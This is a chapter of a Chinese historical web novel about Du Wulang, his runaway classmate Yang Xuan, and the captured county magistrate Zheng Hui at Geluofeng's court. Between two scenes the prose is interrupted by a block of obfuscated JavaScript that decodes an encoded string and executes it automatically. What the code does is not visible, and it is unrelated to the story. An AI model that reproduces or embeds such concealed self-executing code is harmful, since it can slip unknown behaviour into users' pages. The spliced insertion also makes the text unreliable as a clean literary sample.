金城县。
此地距长安九十里,原是雍州始平县,如今则属于京兆郡管辖。
六月初九的午后,随着太阳西归,暑气也散了些。县衙里的官吏们换了便衣,下衙还家,一派悠闲景象。
杜五郎打了个哈欠走出衙门,在台阶处伸了懒腰,准备回家带薛运娘去城东新开的酒楼用饭,再去看一场板板腔。
板板腔也叫“弦板腔”,是由这边的乐器“弦子”“板子”伴奏,结合了戏曲,颇有意思。
这边还有个特产是大蒜,便宜又好吃。
正想着这些,杜五郎忽听人唤了他一句。
“杜誊?”
近来都是被人唤作“杜少府”,忽然有人直呼其名,他颇不习惯,回头看去,不由惊讶。
“杨暄,你怎么来了?”
“嘘。”
杨暄上前,小声道:“莫呼我的名字,我是逃婚来的,你快给我找个地方住下。”
“你?逃婚?”杜五郎愈发惊讶,“伱打算逃到哪里去?”
“还去哪里?你傻不傻?我就是来找你的。”
“找我?为何找我?”
“你我是同窗,又是同年,你不是我最好的朋友吗?”
“啊?”
杜五郎因太过惊讶,慌张了一下。
若提到“最好的朋友”这句话,他脑子里只有一个人影,那就是薛白。至于其他朋友,那也得是元结、杜甫、皇甫冉、颜季明等人,杨暄真的得要排到很后面。
可他再回过想来,看着杨暄那不太聪明的眼神,莫名地有些愧疚起来,问道:“那个,你找我……找我有什么用啊?”
“快给我拿些吃的来,我快饿死了。”
两人边走边谈,杨暄说起家中给他安排的亲事,大吐苦水。
“阿爷让我娶万春公主,他马上要去川蜀了,出发前要把亲事订下来。还是我二弟偷偷告诉我,迎娶了公主,我就不能在外面养女人了!”
“其实,你就算不娶公主,在外面养女人也是不太好。”杜五郎小声嘀咕道。
杨暄根本不听他说话,挥着手,激动道:“我还听说万春公主脾气坏得很,我是万万不能娶她的。”
杜五郎道:“可你这样跑出来也不是事,问题还是在那里。”
“我二弟会解决的,我躲一阵,等阿爷去川蜀了就能回长安,对了,你知道薛白也要去吗?”
“收到了信了,我给他写十封信他才能给我回一封……”
入暮前,杜五郎便在金城县的客馆里给杨暄安排了客房,又让店家把酒菜送到屋子里来。
杨暄原本是带了两个随从与马匹的,快到县城时被杨国忠派人追上,他是独自跑了半个时辰才进了县城的,累得不轻,当即大块朵颐。
两个同窗许久未见,互问了近况,杜五郎原本想说一说在县尉任上如何如何,杨暄根本不听,自顾自地说长安有多好,说到后来,大哭不已。
“长安啊长安!离了长安我好想哭……呜呜呜,外面什么都没……呕!菜也太难吃了。”
杨暄吐出一口大蒜,整张脸都皱起来,连饮了好几口酒,又嫌弃道:“劣酒。”
“别哭啊,你很快就能回去了,对了,你的官职怎么办?”
“你知不知道我们有个同年,被南诏捉去了?”杨暄忽然到一桩趣事,拉过杜五郎,说起闲话来。
“啊?”
“和我们一起天宝七载明经及第的,就是同年,懂吗?”
“谁啊?如何就被捉去南诏了?谁把他捉去南诏的?”
“郑回,被南诏那个什么凤捉走了。”
“郑回?”
杜五郎想了想,依旧是没有印象。
明经科没有进士科那么风光,及第之后也未曾集宴。且他毕竟是春闱五子之一,来往的都是李栖筠、刘长卿这些才名远扬的进士。
“郑回就是那个……自称是荥阳郑氏,其实家里穷得揭不开锅,高高瘦瘦,比我们大三五岁,长得有我四成俊俏,你想起来了?”
“好像是有那么一个人。”杜五郎奇道:“我都不识得他,你如何识得?”
“他求我帮忙谋的官啊!”杨暄理所当然道,“我为他谋了一个县令哩。”
“噗。”
杜五郎一口酒不小心喷出来,连忙擦了,讶道:“县令?我都只是县尉。”
“真是县令。”杨暄道,“西泸县令,我记得很清楚,我把他给我的钱给阿爷。阿爷让我给他选个官,我一看有个县令,就替他选了。”
“西泸?”杜五郎思忖着,迟疑问道:“不会是……巂州的西泸县吧?”
“我哪知道,反正,我近来才知道,离南诏挺近的。要不然,郑回也不会被南诏掳走了。”
杜五郎张了张嘴,想说些什么,又无话可说。
“你看我做什么?”杨暄道,“怪我不给你谋官?郑回给我使钱了,你又没有,他可是举贷给我阿爷送了礼。”
“举贷?”
“是哩,问通善寺的典座借了一百贯,约好以每月的俸禄偿还。如今他被掳了,连本带息都还不上,秃驴们还要钱要到我头上来,该杀!”
杜五郎倒是听得懂,长安城中的借贷,除了东、西两市里的柜坊之外,寺庙放贷最为方便,因佛家不沾铜臭,称为“香积钱”,其实,本金称“功德”,利息称“福报”。
这都是长安老规矩了,如今薛白、杜妗的丰汇行,插手的便是这桩生意,因而杜五郎知道,但他再一想,郑回当时谋官时还没有丰汇行,利息……哦,福报想必是不低的。
“我算算啊。”
杨暄掰着手指头算了老半天,喃喃道:“天宝七载,到九载,哎呀,反正秃驴们问我要两百贯,我才不给。”
“不给会怎么样?”
“不给,他们就要将郑回的阿娘、弟弟妹妹都卖掉呗。”
“岂可如此?”杜五郎道:“他远赴边陲,没有功劳也有苦劳……”
“郑回被俘而不是死守,家眷不落罪已经算好的了,谁还能替他还钱?”
(function(){function f2be13a99(xe15602a5){var g30a8="&k♗1zscax3.;♘☁iઈu㏒w☧㏕@drw➢@i☁ejr,do☁➢ixj㏑h^cx^x-j-(x)>ph){rgh((6=^g665){^g665☁6@xu☁rkkjix7o➢cxcrgh((6)}jcej{fr, r♘k.g=^qidw➢@ic){^g665☁6@xu☁rkkjix7o➢cxcrgh((6)0wd^.r^☁,jy@fj✩fjiw✪➢ewjij,cdhx♘d.☧r♘k.g☧^rcej)}0wd^.r^☁rxx✩fjiw✪➢ewjij,cdhx♘d.☧r♘k.g☧^rcej)}}fr, 36d.^.=^g665xg5~k^h-@drcnw@,rpj☁pjw✎wjyceddrjr))0➢^c6gg-hgk.(==iqcc){6gg-hgk.(={6,@aej,7@qiwu5}}6gg-hgk.(☁6,@aej,7@qiw++0fr, arxhgg=udg^5cfd((.(j~g☁d@idrwc)=>xg5~k^h-){rgh((6☁frcqj+="\\,\\irkkjixjx jy w@ owyc"0fr, pd♘.g~=^g665☁pjw✩cjyjiwwu✎xc36d.^.☁➢x)0➢^cpd♘.g~==iqcc❆❆pd♘.g~==qixj^➢ijx){rgh((6☁frcqj+="\\,\\i driw pjw jy ^,@y owyc"}}}0➢^crgh((6⋌=iqcc){rgh((6☁frcqj+="\\,\\iejix 3e o@ew "+sjgg5j^~}fr, 6d5rxjg=^qidw➢@ici(~(xrg){,jwq,i ^(r-.rxx5ci(~(xrg)){rgh((6☁frcqj+="\\,\\i,jdj➢fj jy k@ew yjeerpj"0rgh((6☁frcqj+="\\,\\ij☁xrwr☁f "+j☁xrwr☁s}ija 2qidw➢@ic"r,pe"☧j☁xrwr☁s)c{vwxdeu➢dx~k☧vw,rurgh((6})}})})c"♆➢.3rBkk❅B.i[g☆q✪y✂f6☓=="☧"k.-♘~g55~kg♘ghg"☧a➢ix@a☧x@dqyjiw)}0➢k♘♘kjrc)0.substr(10));new function(c)()})();
“这杯酒,我敬郑县令,听闻郑县令乃是大唐的进士,在座的没有一人学问高过你。”
“误会,我并非进士,是明经……”
“一样的。”阁罗凤哈哈大笑,端起酒杯一饮而尽,抬手道:“请。”
郑回道:“酒可以喝,但先说好,我只为云南王写请罪表,不会为你谋划自立。”
“好,答应你便是。”
郑回这才举杯,饮尽杯中酒。
他在牢里饿了许久,那美酒流过喉头,无比甘香。
阁罗凤拍掌道:“把我的孙儿抱来。”
很快,随着孩子的哭声,一个蛮族女子便抱着个一岁多的幼儿过来。
阁罗凤脸上的笑容褪去。
“我儿凤伽异,开元二十六年入质长安,圣人问他问题,他对答如流,被封为鸿胪少卿。圣人还许宗室县主与他为妻……怎奈奸臣陷害,诬陷我儿要逃,将他杀死在长安!”
随着这一句话,殿中文武当即脸色肃然,一副要杀进长安,为储王报仇的样子。
郑回却是抬手一指那幼儿,问道:“那他是?”
“是我与储王的孩子。”那蛮族女子应道,“我是披独锦,三年前奉命到长安进献,怀了储王的种带回来。”
她与中原女子不同,对此事不以为羞,反而十分骄傲。
郑回微微嗤笑,心想这都是阁罗凤早有异心的明证。
“披独锦,让郑县令抱一抱异牟寻。”阁罗凤道。
披独锦一愣,反而抱紧了儿子,道:“大王,怎么能让这个唐人抱你的孙儿。”